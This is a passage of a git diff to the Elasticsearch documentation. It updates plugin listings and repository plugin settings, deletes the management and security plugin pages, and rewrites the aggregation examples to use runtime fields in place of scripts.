https://plugins.grails.org/plugin/puneetbehl/elasticsearch[Grails]: Elasticsearch Grails plugin. -* https://haystacksearch.org/[Haystack]: - Modular search for Django - * https://hibernate.org/search/[Hibernate Search] Integration with Hibernate ORM, from the Hibernate team. Automatic synchronization of write operations, yet exposes full Elasticsearch capabilities for queries. Can return either Elasticsearch native or re-map queries back into managed entities loaded within transaction from the reference database. @@ -124,9 +106,6 @@ releases 2.0 and later do not support rivers. * https://github.com/dadoonet/spring-elasticsearch[Spring Elasticsearch]: Spring Factory for Elasticsearch -* https://github.com/twitter/storehaus[Twitter Storehaus]: - Thin asynchronous Scala client for Storehaus. - * https://zeebe.io[Zeebe]: An Elasticsearch exporter acts as a bridge between Zeebe and Elasticsearch @@ -143,9 +122,6 @@ releases 2.0 and later do not support rivers. * https://metamodel.apache.org/[Apache MetaModel]: Providing a common interface for discovery, exploration of metadata and querying of different types of data sources. -* https://jooby.org/doc/elasticsearch/[Jooby Framework]: - Scalable, fast and modular micro web framework for Java. - * https://micrometer.io[Micrometer]: Vendor-neutral application metrics facade. Think SLF4j, but for metrics. @@ -174,9 +150,6 @@ releases 2.0 and later do not support rivers. [discrete] ==== Supported by the community: -* https://github.com/radu-gheorghe/check-es[check-es]: - Nagios/Shinken plugins for checking on Elasticsearch - * https://sematext.com/spm/index.html[SPM for Elasticsearch]: Performance monitoring with live charts showing cluster and node stats, integrated alerts, email reports, etc. diff --git a/docs/plugins/management.asciidoc b/docs/plugins/management.asciidoc deleted file mode 100644 index 0aa25e1601138..0000000000000 --- a/docs/plugins/management.asciidoc +++ /dev/null @@ -1,16 +0,0 @@ -[[management]] -== Management Plugins - -Management plugins offer UIs for managing and interacting with Elasticsearch. - -[discrete] -=== Core management plugins - -The core management plugins are: - -link:/products/x-pack/monitoring[X-Pack]:: - -X-Pack contains the management and monitoring features for Elasticsearch. It -aggregates cluster wide statistics and events and offers a single interface to -view and analyze them. You can get a link:/subscriptions[free license] for basic -monitoring or a higher level license for more advanced needs. diff --git a/docs/plugins/mapper-annotated-text.asciidoc b/docs/plugins/mapper-annotated-text.asciidoc index 9307b6aaefe13..157fe538bb083 100644 --- a/docs/plugins/mapper-annotated-text.asciidoc +++ b/docs/plugins/mapper-annotated-text.asciidoc @@ -293,7 +293,7 @@ The annotated highlighter is based on the `unified` highlighter and supports the settings but does not use the `pre_tags` or `post_tags` parameters. Rather than using html-like markup such as `cat` the annotated highlighter uses the same markdown-like syntax used for annotations and injects a key=value annotation where `_hit_term` -is the key and the matched search term is the value e.g. +is the key and the matched search term is the value e.g. The [cat](_hit_term=cat) sat on the [mat](sku3578) diff --git a/docs/plugins/mapper-size.asciidoc b/docs/plugins/mapper-size.asciidoc index c7140d865b832..50b2586f6f000 100644 --- a/docs/plugins/mapper-size.asciidoc +++ b/docs/plugins/mapper-size.asciidoc @@ -26,7 +26,7 @@ PUT my-index-000001 -------------------------- The value of the `_size` field is accessible in queries, aggregations, scripts, -and when sorting: +and when sorting. It can be retrieved using the {ref}/search-fields.html#search-fields-param[fields parameter]: [source,console] -------------------------- @@ -65,16 +65,12 @@ GET my-index-000001/_search } } ], + "fields": ["_size"], <4> "script_fields": { "size": { - "script": "doc['_size']" <4> + "script": "doc['_size']" <5> } - }, - "docvalue_fields": [ - { - "field": "_size" <5> - } - ] + } } -------------------------- // TEST[continued] @@ -82,12 +78,8 @@ GET my-index-000001/_search <1> Querying on the `_size` field <2> Aggregating on the `_size` field <3> Sorting on the `_size` field -<4> Uses a +<4> Use the `fields` parameter to return the `_size` in the search response. +<5> Uses a {ref}/search-fields.html#script-fields[script field] to return the `_size` field in the search response. -<5> Uses a -{ref}/search-fields.html#docvalue-fields[doc value -field] to return the `_size` field in the search response. Doc value fields are -useful if -{ref}/modules-scripting-security.html#allowed-script-types-setting[inline -scripts are disabled]. + diff --git a/docs/plugins/plugin-script.asciidoc b/docs/plugins/plugin-script.asciidoc index 775dd28e0ff90..a93102bf0406c 100644 --- a/docs/plugins/plugin-script.asciidoc +++ b/docs/plugins/plugin-script.asciidoc @@ -182,6 +182,16 @@ purge the configuration files while removing a plugin, use `-p` or `--purge`. This can option can be used after a plugin is removed to remove any lingering configuration files. +[[removing-multiple-plugins]] +=== Removing multiple plugins + +Multiple plugins can be removed in one invocation as follows: + +[source,shell] +----------------------------------- +sudo bin/elasticsearch-plugin remove [pluginname] [pluginname] ... [pluginname] +----------------------------------- + [discrete] === Updating plugins @@ -221,7 +231,7 @@ user for confirmation before continuing with installation. When running the plugin install script from another program (e.g. install automation scripts), the plugin script should detect that it is not being called from the console and skip the confirmation response, automatically -granting all requested permissions. If console detection fails, then batch +granting all requested permissions. If console detection fails, then batch mode can be forced by specifying `-b` or `--batch` as follows: [source,shell] @@ -233,7 +243,7 @@ sudo bin/elasticsearch-plugin install --batch [pluginname] === Custom config directory If your `elasticsearch.yml` config file is in a custom location, you will need -to specify the path to the config file when using the `plugin` script. You +to specify the path to the config file when using the `plugin` script. You can do this as follows: [source,sh] diff --git a/docs/plugins/quota-aware-fs.asciidoc b/docs/plugins/quota-aware-fs.asciidoc index 3d12354cce80f..e89341cfc68b5 100644 --- a/docs/plugins/quota-aware-fs.asciidoc +++ b/docs/plugins/quota-aware-fs.asciidoc @@ -1,6 +1,8 @@ [[quota-aware-fs]] === Quota-aware Filesystem Plugin +NOTE: {cloud-only} + The Quota-aware Filesystem plugin adds an interface for telling Elasticsearch the disk-quota limits under which it is operating. diff --git a/docs/plugins/redirects.asciidoc b/docs/plugins/redirects.asciidoc index 6e5675309d75b..a5de5c9cd993c 100644 --- a/docs/plugins/redirects.asciidoc +++ b/docs/plugins/redirects.asciidoc @@ -6,7 +6,7 @@ The following pages have moved or been deleted. [role="exclude",id="discovery-multicast"] === Multicast Discovery Plugin -The `multicast-discovery` plugin has been removed. Instead, configure networking +The `multicast-discovery` plugin has been removed. Instead, configure networking using unicast (see {ref}/modules-network.html[Network settings]) or using one of the <>. @@ -40,9 +40,34 @@ The `cloud-gce` plugin has been renamed to <> (`discovery-gce`). The Delete-By-Query plugin has been removed in favor of a new {ref}/docs-delete-by-query.html[Delete By Query API] implementation in core. +[role="exclude",id="ingest-geoip"] +=== Ingest `geoip` processor plugin +The `geoip` processor is now a module and distributed with {es} by default. See +{ref}/geoip-processor.html[GeoIP processor]. +[role="exclude",id="ingest-user-agent"] +=== Ingest `user_agent` processor plugin +The `user_agent` processor is now a module and distributed with {es} by default. +See {ref}/user-agent-processor.html[User Agent processor]. +[role="exclude",id="using-ingest-geoip"] +=== Using the `geoip` processor in a pipeline +See {ref}/geoip-processor.html#using-ingest-geoip[using `ingest-geoip`]. +[role="exclude",id="alerting"] +=== Alerting plugins + +See {kib}'s {kibana-ref}/alerting-getting-started.html[Alerting and Actions]. + +[role="exclude",id="management"] +=== Management plugins + +See {ref}/monitor-elasticsearch-cluster.html[{stack} monitoring]. + +[role="exclude",id="security"] +=== Security plugins + +See {ref}/secure-cluster.html[{stack} security]. diff --git a/docs/plugins/repository-azure.asciidoc b/docs/plugins/repository-azure.asciidoc index 2293f83036b81..e1e18df23d1ef 100644 --- a/docs/plugins/repository-azure.asciidoc +++ b/docs/plugins/repository-azure.asciidoc @@ -1,7 +1,7 @@ [[repository-azure]] === Azure Repository Plugin -The Azure Repository plugin adds support for using Azure as a repository for +The Azure Repository plugin adds support for using https://docs.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction[Azure Blob storage] as a repository for {ref}/modules-snapshots.html[Snapshot/Restore]. :plugin_name: repository-azure diff --git a/docs/plugins/repository-gcs.asciidoc b/docs/plugins/repository-gcs.asciidoc index b6862355d070e..58bd67f9e73ab 100644 --- a/docs/plugins/repository-gcs.asciidoc +++ b/docs/plugins/repository-gcs.asciidoc @@ -45,19 +45,23 @@ https://cloud.google.com/storage/docs/quickstart-console#create_a_bucket[Google The plugin must authenticate the requests it makes to the Google Cloud Storage service. It is common for Google client libraries to employ a strategy named https://cloud.google.com/docs/authentication/production#providing_credentials_to_your_application[application default credentials]. -However, that strategy is **not** supported for use with Elasticsearch. The +However, that strategy is only **partially supported** by Elasticsearch. The plugin operates under the Elasticsearch process, which runs with the security -manager enabled. The security manager obstructs the "automatic" credential discovery. -Therefore, you must configure <> -credentials even if you are using an environment that does not normally require -this configuration (such as Compute Engine, Kubernetes Engine or App Engine). +manager enabled. The security manager obstructs the "automatic" credential discovery +when the environment variable `GOOGLE_APPLICATION_CREDENTIALS` is used to point to a +local file on disk. It can, however, retrieve the service account that is attached to +the resource that is running Elasticsearch, or fall back to the default service +account that Compute Engine, Kubernetes Engine or App Engine provide. +Alternatively, you must configure <> +credentials if you are using an environment that does not support automatic +credential discovery. [[repository-gcs-using-service-account]] ===== Using a Service Account You have to obtain and provide https://cloud.google.com/iam/docs/overview#service_account[service account credentials] manually. -For detailed information about generating JSON service account files, see the https://cloud.google.com/storage/docs/authentication?hl=en#service_accounts[Google Cloud documentation]. +For detailed information about generating JSON service account files, see the https://cloud.google.com/storage/docs/authentication?hl=en#service_accounts[Google Cloud documentation]. Note that the PKCS12 format is not supported by this plugin. Here is a summary of the steps: @@ -88,7 +92,7 @@ A JSON service account file looks like this: ---- // NOTCONSOLE -To provide this file to the plugin, it must be stored in the {ref}/secure-settings.html[Elasticsearch keystore]. You must +To provide this file to the plugin, it must be stored in the {ref}/secure-settings.html[Elasticsearch keystore]. You must add a `file` setting with the name `gcs.client.NAME.credentials_file` using the `add-file` subcommand. `NAME` is the name of the client configuration for the repository. The implicit client name is `default`, but a different client name can be specified in the diff --git a/docs/plugins/repository-s3.asciidoc b/docs/plugins/repository-s3.asciidoc index 41762c2a9b2f9..3df08de3d521f 100644 --- a/docs/plugins/repository-s3.asciidoc +++ b/docs/plugins/repository-s3.asciidoc @@ -222,12 +222,17 @@ Note that some storage systems claim to be S3-compatible without correctly supporting the full S3 API. The `repository-s3` plugin requires full compatibility with S3. In particular it must support the same set of API endpoints, return the same errors in case of failures, and offer a consistency -model no weaker than S3's when accessed concurrently by multiple nodes. If you -wish to use another storage system with the `repository-s3` plugin then you -will need to work with the supplier of the storage system to address any -incompatibilities you encounter. Incompatible error codes and consistency -models may be particularly hard to track down since errors and consistency -failures are usually rare and hard to reproduce. +model no weaker than S3's when accessed concurrently by multiple nodes. +Incompatible error codes and consistency models may be particularly hard to +track down since errors and consistency failures are usually rare and hard to +reproduce. + +You can perform some basic checks of the suitability of your storage system +using the {ref}/repo-analysis-api.html[repository analysis API]. If this API +does not complete successfully, or indicates poor performance, then your +storage system is not fully compatible with AWS S3 and therefore unsuitable for +use as a snapshot repository. You will need to work with the supplier of your +storage system to address any incompatibilities you encounter. [[repository-s3-repository]] ==== Repository Settings @@ -265,10 +270,9 @@ bucket naming rules]. `base_path`:: - Specifies the path within bucket to repository data. Defaults to value of - `repositories.s3.base_path` or to root directory if not set. Previously, - the base_path could take a leading `/` (forward slash). However, this has - been deprecated and setting the base_path now should omit the leading `/`. + Specifies the path to the repository data within its bucket. Defaults to an + empty string, meaning that the repository is at the root of the bucket. The + value of this setting should not start or end with a `/`. `chunk_size`:: @@ -299,8 +303,8 @@ include::repository-shared-settings.asciidoc[] setting a buffer size lower than `5mb` is not allowed since it will prevent the use of the Multipart API and may result in upload errors. It is also not possible to set a buffer size greater than `5gb` as it is the maximum upload - size allowed by S3. Defaults to the minimum between `100mb` and `5%` of the - heap size. + size allowed by S3. Defaults to `100mb` or `5%` of JVM heap, whichever is + smaller. `canned_acl`:: @@ -308,7 +312,7 @@ include::repository-shared-settings.asciidoc[] https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#canned-acl[S3 canned ACLs] : `private`, `public-read`, `public-read-write`, `authenticated-read`, `log-delivery-write`, `bucket-owner-read`, - `bucket-owner-full-control`. Defaults to `private`. You could specify a + `bucket-owner-full-control`. Defaults to `private`. You could specify a canned ACL using the `canned_acl` setting. When the S3 repository creates buckets and objects, it adds the canned ACL into the buckets and objects. @@ -320,8 +324,8 @@ include::repository-shared-settings.asciidoc[] Changing this setting on an existing repository only affects the storage class for newly created objects, resulting in a mixed usage of storage classes. Additionally, S3 Lifecycle Policies can be used to manage - the storage class of existing objects. Due to the extra complexity with the - Glacier class lifecycle, it is not currently supported by the plugin. For + the storage class of existing objects. Due to the extra complexity with the + Glacier class lifecycle, it is not currently supported by the plugin. For more information about the different classes, see https://docs.aws.amazon.com/AmazonS3/latest/dev/storage-class-intro.html[AWS Storage Classes Guide] @@ -331,9 +335,9 @@ documented below is considered deprecated, and will be removed in a future version. In addition to the above settings, you may also specify all non-secure client -settings in the repository settings. In this case, the client settings found in +settings in the repository settings. In this case, the client settings found in the repository settings will be merged with those of the named client used by -the repository. Conflicts between client and repository settings are resolved +the repository. Conflicts between client and repository settings are resolved by the repository settings taking precedence over client settings. For example: diff --git a/docs/plugins/repository-shared-settings.asciidoc b/docs/plugins/repository-shared-settings.asciidoc index 13c2716c52d90..2a4753abee45b 100644 --- a/docs/plugins/repository-shared-settings.asciidoc +++ b/docs/plugins/repository-shared-settings.asciidoc @@ -9,4 +9,4 @@ `readonly`:: - Makes repository read-only. Defaults to `false`. + Makes repository read-only. Defaults to `false`. diff --git a/docs/plugins/security.asciidoc b/docs/plugins/security.asciidoc deleted file mode 100644 index 89927a3d6da31..0000000000000 --- a/docs/plugins/security.asciidoc +++ /dev/null @@ -1,24 +0,0 @@ -[[security]] -== Security Plugins - -Security plugins add a security layer to Elasticsearch. - -[discrete] -=== Core security plugins - -The core security plugins are: - -link:/products/x-pack/security[X-Pack]:: - -X-Pack is the Elastic product that makes it easy for anyone to add -enterprise-grade security to their Elastic Stack. Designed to address the -growing security needs of thousands of enterprises using the Elastic Stack -today, X-Pack provides peace of mind when it comes to protecting your data. - -[discrete] -=== Community contributed security plugins - -The following plugins have been contributed by our community: - -* https://github.com/sscarduzio/elasticsearch-readonlyrest-plugin[Readonly REST]: - High performance access control for Elasticsearch native REST API (by Simone Scarduzio) diff --git a/docs/reference/aggregations.asciidoc b/docs/reference/aggregations.asciidoc index 57298e337eef5..26b6a53da2bba 100644 --- a/docs/reference/aggregations.asciidoc +++ b/docs/reference/aggregations.asciidoc @@ -28,7 +28,7 @@ other aggregations instead of documents or fields. === Run an aggregation You can run aggregations as part of a <> by specifying the <>'s `aggs` parameter. The -following search runs a +following search runs a <> on `my-field`: @@ -330,79 +330,66 @@ the aggregated field. [[use-scripts-in-an-agg]] === Use scripts in an aggregation -Some aggregations support <>. You can -use a `script` to extract or generate values for the aggregation: +When a field doesn't exactly match the aggregation you need, you +should aggregate on a <>: [source,console] ---- -GET /my-index-000001/_search +GET /my-index-000001/_search?size=0 { + "runtime_mappings": { + "message.length": { + "type": "long", + "script": "emit(doc['message.keyword'].value.length())" + } + }, "aggs": { - "my-agg-name": { + "message_length": { "histogram": { - "interval": 1000, - "script": { - "source": "doc['my-field'].value.length()" - } + "interval": 10, + "field": "message.length" } } } } ---- // TEST[setup:my_index] -// TEST[s/my-field/http.request.method/] -If you also specify a `field`, the `script` modifies the field values used in -the aggregation. The following aggregation uses a script to modify `my-field` -values: - -[source,console] +//// +[source,console-result] ---- -GET /my-index-000001/_search { - "aggs": { - "my-agg-name": { - "histogram": { - "field": "my-field", - "interval": 1000, - "script": "_value / 1000" - } + "timed_out": false, + "took": "$body.took", + "_shards": { + "total": 1, + "successful": 1, + "failed": 0, + "skipped": 0 + }, + "hits": "$body.hits", + "aggregations": { + "message_length": { + "buckets": [ + { + "key": 30.0, + "doc_count": 5 + } + ] } } } ---- -// TEST[setup:my_index] -// TEST[s/my-field/http.response.bytes/] - -Some aggregations only work on specific data types. Use the `value_type` -parameter to specify a data type for a script-generated value or an unmapped -field. `value_type` accepts the following values: +//// -* `boolean` -* `date` -* `double`, used for all floating-point numbers -* `long`, used for all integers -* `ip` -* `string` +Scripts calculate field values dynamically, which adds a little +overhead to the aggregation. In addition to the time spent calculating, +some aggregations like <> +and <> can't use +some of their optimizations with runtime fields. In total, performance costs +for using a runtime field varies from aggregation to aggregation. -[source,console] ----- -GET /my-index-000001/_search -{ - "aggs": { - "my-agg-name": { - "histogram": { - "field": "my-field", - "interval": 1000, - "script": "_value / 1000", - "value_type": "long" - } - } - } -} ----- -// TEST[setup:my_index] -// TEST[s/my-field/http.response.bytes/] +// TODO when we have calculated fields we can link to them here. [discrete] [[agg-caches]] diff --git a/docs/reference/aggregations/bucket.asciidoc b/docs/reference/aggregations/bucket.asciidoc index b8a8bfc6abd9a..1d07cc20f03b8 100644 --- a/docs/reference/aggregations/bucket.asciidoc +++ b/docs/reference/aggregations/bucket.asciidoc @@ -15,7 +15,7 @@ define fixed number of multiple buckets, and others dynamically create the bucke NOTE: The maximum number of buckets allowed in a single response is limited by a dynamic cluster setting named -<>. It defaults to 65,535. +<>. It defaults to 65,536. Requests that try to return more than the limit will fail with an exception. include::bucket/adjacency-matrix-aggregation.asciidoc[] diff --git a/docs/reference/aggregations/bucket/adjacency-matrix-aggregation.asciidoc b/docs/reference/aggregations/bucket/adjacency-matrix-aggregation.asciidoc index fa810ba7d54f9..3399f85c6ba7e 100644 --- a/docs/reference/aggregations/bucket/adjacency-matrix-aggregation.asciidoc +++ b/docs/reference/aggregations/bucket/adjacency-matrix-aggregation.asciidoc @@ -20,20 +20,21 @@ h|B | |B |B&C h|C | | |C |======================= -The intersecting buckets e.g `A&C` are labelled using a combination of the two filter names separated by -the ampersand character. Note that the response does not also include a "C&A" bucket as this would be the -same set of documents as "A&C". The matrix is said to be _symmetric_ so we only return half of it. To do this we sort -the filter name strings and always use the lowest of a pair as the value to the left of the "&" separator. +The intersecting buckets e.g `A&C` are labelled using a combination of the two filter names with a default separator +of `&`. Note that the response does not also include a `C&A` bucket as this would be the +same set of documents as `A&C`. The matrix is said to be _symmetric_ so we only return half of it. To do this we sort +the filter name strings and always use the lowest of a pair as the value to the left of the separator. -An alternative `separator` parameter can be passed in the request if clients wish to use a separator string -other than the default of the ampersand. +[[adjacency-matrix-agg-ex]] +==== Example -Example: +The following `interactions` aggregation uses `adjacency_matrix` to determine +which groups of individuals exchanged emails. [source,console,id=adjacency-matrix-aggregation-example] -------------------------------------------------- -PUT /emails/_bulk?refresh +PUT emails/_bulk?refresh { "index" : { "_id" : 1 } } { "accounts" : ["hillary", "sidney"]} { "index" : { "_id" : 2 } } @@ -58,12 +59,9 @@ GET emails/_search } -------------------------------------------------- -In the above example, we analyse email messages to see which groups of individuals -have exchanged messages. -We will get counts for each group individually and also a count of messages for pairs -of groups that have recorded interactions. - -Response: +The response contains buckets with document counts for each filter and +combination of filters. Buckets with no matching documents are excluded from the +response. [source,console-result] -------------------------------------------------- @@ -104,13 +102,51 @@ Response: // TESTRESPONSE[s/"_shards": \.\.\./"_shards": $body._shards/] // TESTRESPONSE[s/"hits": \.\.\./"hits": $body.hits/] +[role="child_attributes"] +[[adjacency-matrix-agg-params]] +==== Parameters + +`filters`:: +(Required, object) +Filters used to create buckets. ++ +.Properties of `filters` +[%collapsible%open] +==== +``:: +(Required, <>) +Query used to filter documents. The key is the filter name. ++ +At least one filter is required. The total number of filters cannot exceed the +<> +setting. See <>. +==== + +`separator`:: +(Optional, string) +Separator used to concatenate filter names. Defaults to `&`. + +[[adjacency-matrix-agg-response]] +==== Response body + +`key`:: +(string) +Filters for the bucket. If the bucket uses multiple filters, filter names are +concatenated using a `separator`. + +`document_count`:: +(integer) +Number of documents matching the bucket's filters. + +[[adjacency-matrix-agg-usage]] ==== Usage On its own this aggregation can provide all of the data required to create an undirected weighted graph. However, when used with child aggregations such as a `date_histogram` the results can provide the additional levels of data required to perform {wikipedia}/Dynamic_network_analysis[dynamic network analysis] where examining interactions _over time_ becomes important. -==== Limitations +[[adjacency-matrix-agg-filter-limits]] +==== Filter limits For N filters the matrix of buckets produced can be N²/2 which can be costly. The circuit breaker settings prevent results producing too many buckets and to avoid excessive disk seeks the `indices.query.bool.max_clause_count` setting is used to limit the number of filters. diff --git a/docs/reference/aggregations/bucket/autodatehistogram-aggregation.asciidoc b/docs/reference/aggregations/bucket/autodatehistogram-aggregation.asciidoc index 40ea68af27e49..c1356145b4269 100644 --- a/docs/reference/aggregations/bucket/autodatehistogram-aggregation.asciidoc +++ b/docs/reference/aggregations/bucket/autodatehistogram-aggregation.asciidoc @@ -110,7 +110,7 @@ buckets requested. ==== Time Zone -Date-times are stored in Elasticsearch in UTC. By default, all bucketing and +Date-times are stored in Elasticsearch in UTC. By default, all bucketing and rounding is also done in UTC. The `time_zone` parameter can be used to indicate that bucketing should use a different time zone. @@ -251,12 +251,6 @@ instead of the usual 24 hours for other buckets. The same is true for shorter in like e.g. 12h. Here, we will have only a 11h bucket on the morning of 27 March when the DST shift happens. -==== Scripts - -Like with the normal <>, both document level -scripts and value level scripts are supported. This aggregation does not however, support the `min_doc_count`, -`extended_bounds`, `hard_bounds` and `order` parameters. - ==== Minimum Interval parameter The `minimum_interval` allows the caller to specify the minimum rounding interval that should be used. diff --git a/docs/reference/aggregations/bucket/composite-aggregation.asciidoc b/docs/reference/aggregations/bucket/composite-aggregation.asciidoc index 87d3fcb379312..b7966b931c80b 100644 --- a/docs/reference/aggregations/bucket/composite-aggregation.asciidoc +++ b/docs/reference/aggregations/bucket/composite-aggregation.asciidoc @@ -18,7 +18,7 @@ a composite bucket. ////////////////////////// -[source,js] +[source,console] -------------------------------------------------- PUT /sales { @@ -72,7 +72,6 @@ POST /sales/_bulk?refresh {"index":{"_id":4}} {"product": "apocalypse now", "price": "10", "timestamp": "2017-05-11T08:35"} ------------------------------------------------- -// NOTCONSOLE // TESTSETUP ////////////////////////// @@ -121,7 +120,7 @@ The `sources` parameter can be any of the following types: ===== Terms The `terms` value source is equivalent to a simple `terms` aggregation. -The values are extracted from a field or a script exactly like the `terms` aggregation. +The values are extracted from a field exactly like the `terms` aggregation. Example: @@ -142,25 +141,30 @@ GET /_search } -------------------------------------------------- -Like the `terms` aggregation it is also possible to use a script to create the values for the composite buckets: +Like the `terms` aggregation, it's possible to use a +<> to create values for the composite buckets: -[source,console,id=composite-aggregation-terms-script-example] --------------------------------------------------- +[source,console,id=composite-aggregation-terms-runtime-field-example] +---- GET /_search { + "runtime_mappings": { + "day_of_week": { + "type": "keyword", + "script": """ + emit(doc['timestamp'].value.dayOfWeekEnum + .getDisplayName(TextStyle.FULL, Locale.ROOT)) + """ + } + }, "size": 0, "aggs": { "my_buckets": { "composite": { "sources": [ { - "product": { - "terms": { - "script": { - "source": "doc['product'].value", - "lang": "painless" - } - } + "dow": { + "terms": { "field": "day_of_week" } } } ] @@ -168,7 +172,35 @@ GET /_search } } } --------------------------------------------------- +---- + +//// +[source,console-result] +---- +{ + "timed_out": false, + "took": "$body.took", + "_shards": { + "total": 1, + "successful": 1, + "failed": 0, + "skipped": 0 + }, + "hits": "$body.hits", + "aggregations": { + "my_buckets": { + "after_key": { "dow": "Wednesday" }, + "buckets": [ + { "key": { "dow": "Monday" }, "doc_count": 1 }, + { "key": { "dow": "Thursday" }, "doc_count": 1 }, + { "key": { "dow": "Tuesday" }, "doc_count": 2 }, + { "key": { "dow": "Wednesday" }, "doc_count": 1 } + ] + } + } +} +---- +//// [[_histogram]] ===== Histogram @@ -197,25 +229,35 @@ GET /_search } -------------------------------------------------- -The values are built from a numeric field or a script that return numerical values: +Like the `histogram` aggregation it's possible to use a +<> to create values for the composite buckets: -[source,console,id=composite-aggregation-histogram-script-example] --------------------------------------------------- +[source,console,id=composite-aggregation-histogram-runtime-field-example] +---- GET /_search { + "runtime_mappings": { + "price.discounted": { + "type": "double", + "script": """ + double price = doc['price'].value; + if (doc['product'].value == 'mad max') { + price *= 0.8; + } + emit(price); + """ + } + }, "size": 0, "aggs": { "my_buckets": { "composite": { "sources": [ { - "histo": { + "price": { "histogram": { "interval": 5, - "script": { - "source": "doc['price'].value", - "lang": "painless" - } + "field": "price.discounted" } } } @@ -224,7 +266,34 @@ GET /_search } } } --------------------------------------------------- +---- + +//// +[source,console-result] +---- +{ + "timed_out": false, + "took": "$body.took", + "_shards": { + "total": 1, + "successful": 1, + "failed": 0, + "skipped": 0 + }, + "hits": "$body.hits", + "aggregations": { + "my_buckets": { + "after_key": { "price": 20.0 }, + "buckets": [ + { "key": { "price": 10.0 }, "doc_count": 2 }, + { "key": { "price": 15.0 }, "doc_count": 1 }, + { "key": { "price": 20.0 }, "doc_count": 2 } + ] + } + } +} +---- +//// [[_date_histogram]] ===== Date histogram @@ -291,7 +360,7 @@ GET /_search *Time Zone* -Date-times are stored in Elasticsearch in UTC. By default, all bucketing and +Date-times are stored in Elasticsearch in UTC. By default, all bucketing and rounding is also done in UTC. The `time_zone` parameter can be used to indicate that bucketing should use a different time zone. @@ -848,11 +917,12 @@ GET /_search -------------------------------------------------- // TESTRESPONSE[s/\.\.\.//] +[[search-aggregations-bucket-composite-aggregation-pipeline-aggregations]] ==== Pipeline aggregations The composite agg is not currently compatible with pipeline aggregations, nor does it make sense in most cases. E.g. due to the paging nature of composite aggs, a single logical partition (one day for example) might be spread -over multiple pages. Since pipeline aggregations are purely post-processing on the final list of buckets, +over multiple pages. Since pipeline aggregations are purely post-processing on the final list of buckets, running something like a derivative on a composite page could lead to inaccurate results as it is only taking into account a "partial" result on that page. diff --git a/docs/reference/aggregations/bucket/datehistogram-aggregation.asciidoc b/docs/reference/aggregations/bucket/datehistogram-aggregation.asciidoc index 29449d22b0ece..032cbd6c119fa 100644 --- a/docs/reference/aggregations/bucket/datehistogram-aggregation.asciidoc +++ b/docs/reference/aggregations/bucket/datehistogram-aggregation.asciidoc @@ -51,7 +51,7 @@ This behavior has been deprecated in favor of two new, explicit fields: `calenda and `fixed_interval`. By forcing a choice between calendar and intervals up front, the semantics of the interval -are clear to the user immediately and there is no ambiguity. The old `interval` field +are clear to the user immediately and there is no ambiguity. The old `interval` field will be removed in the future. ================================== @@ -621,9 +621,75 @@ Response: [[date-histogram-scripts]] ==== Scripts -As with the normal <>, -both document-level scripts and -value-level scripts are supported. You can control the order of the returned +If the data in your documents doesn't exactly match what you'd like to aggregate, +use a <> . For example, if the revenue +for promoted sales should be recognized a day after the sale date: + +[source,console,id=datehistogram-aggregation-runtime-field] +---- +POST /sales/_search?size=0 +{ + "runtime_mappings": { + "date.promoted_is_tomorrow": { + "type": "date", + "script": """ + long date = doc['date'].value.toInstant().toEpochMilli(); + if (doc['promoted'].value) { + date += 86400; + } + emit(date); + """ + } + }, + "aggs": { + "sales_over_time": { + "date_histogram": { + "field": "date.promoted_is_tomorrow", + "calendar_interval": "1M" + } + } + } +} +---- +// TEST[setup:sales] + +//// + +[source,console-result] +---- +{ + ... + "aggregations": { + "sales_over_time": { + "buckets": [ + { + "key_as_string": "2015-01-01T00:00:00.000Z", + "key": 1420070400000, + "doc_count": 3 + }, + { + "key_as_string": "2015-02-01T00:00:00.000Z", + "key": 1422748800000, + "doc_count": 2 + }, + { + "key_as_string": "2015-03-01T00:00:00.000Z", + "key": 1425168000000, + "doc_count": 2 + } + ] + } + } +} +---- +// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/] + +//// + +[[date-histogram-params]] +==== Parameters + +You can control the order of the returned buckets using the `order` settings and filter the returned buckets based on a `min_doc_count` setting (by default all buckets between the first @@ -673,51 +739,52 @@ the `order` setting. This setting supports the same `order` functionality as [[date-histogram-aggregate-scripts]] ===== Using a script to aggregate by day of the week -When you need to aggregate the results by day of the week, use a script that -returns the day of the week: +When you need to aggregate the results by day of the week, run a `terms` +aggregation on a <> that returns the day of the week: -[source,console,id=datehistogram-aggregation-script-example] --------------------------------------------------- +[source,console,id=datehistogram-aggregation-day-of-week-runtime-field] +---- POST /sales/_search?size=0 { + "runtime_mappings": { + "date.day_of_week": { + "type": "keyword", + "script": "emit(doc['date'].value.dayOfWeekEnum.getDisplayName(TextStyle.FULL, Locale.ROOT))" + } + }, "aggs": { - "dayOfWeek": { - "terms": { - "script": { - "lang": "painless", - "source": "doc['date'].value.dayOfWeekEnum.value" - } - } + "day_of_week": { + "terms": { "field": "date.day_of_week" } } } } --------------------------------------------------- +---- // TEST[setup:sales] Response: [source,console-result] --------------------------------------------------- +---- { ... "aggregations": { - "dayOfWeek": { + "day_of_week": { "doc_count_error_upper_bound": 0, "sum_other_doc_count": 0, "buckets": [ { - "key": "7", + "key": "Sunday", "doc_count": 4 }, { - "key": "4", + "key": "Thursday", "doc_count": 3 } ] } } } --------------------------------------------------- +---- // TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/] The response will contain all the buckets having the relative day of diff --git a/docs/reference/aggregations/bucket/diversified-sampler-aggregation.asciidoc b/docs/reference/aggregations/bucket/diversified-sampler-aggregation.asciidoc index d10b7658bf423..0fcf8f9c46fc0 100644 --- a/docs/reference/aggregations/bucket/diversified-sampler-aggregation.asciidoc +++ b/docs/reference/aggregations/bucket/diversified-sampler-aggregation.asciidoc @@ -18,10 +18,10 @@ a large spike in a timeline or an over-active forum spammer). * Removing bias from analytics by ensuring fair representation of content from different sources * Reducing the running cost of aggregations that can produce useful results using only samples e.g. `significant_terms` -A choice of `field` or `script` setting is used to provide values used for de-duplication and the `max_docs_per_value` setting controls the maximum +The `field` setting is used to provide values used for de-duplication and the `max_docs_per_value` setting controls the maximum number of documents collected on any one shard which share a common value. The default setting for `max_docs_per_value` is 1. -The aggregation will throw an error if the choice of `field` or `script` produces multiple values for a single document (de-duplication using multi-valued fields is not supported due to efficiency concerns). +The aggregation will throw an error if the `field` produces multiple values for a single document (de-duplication using multi-valued fields is not supported due to efficiency concerns). Example: @@ -89,13 +89,14 @@ Response: <1> 151 documents were sampled in total. <2> The results of the significant_terms 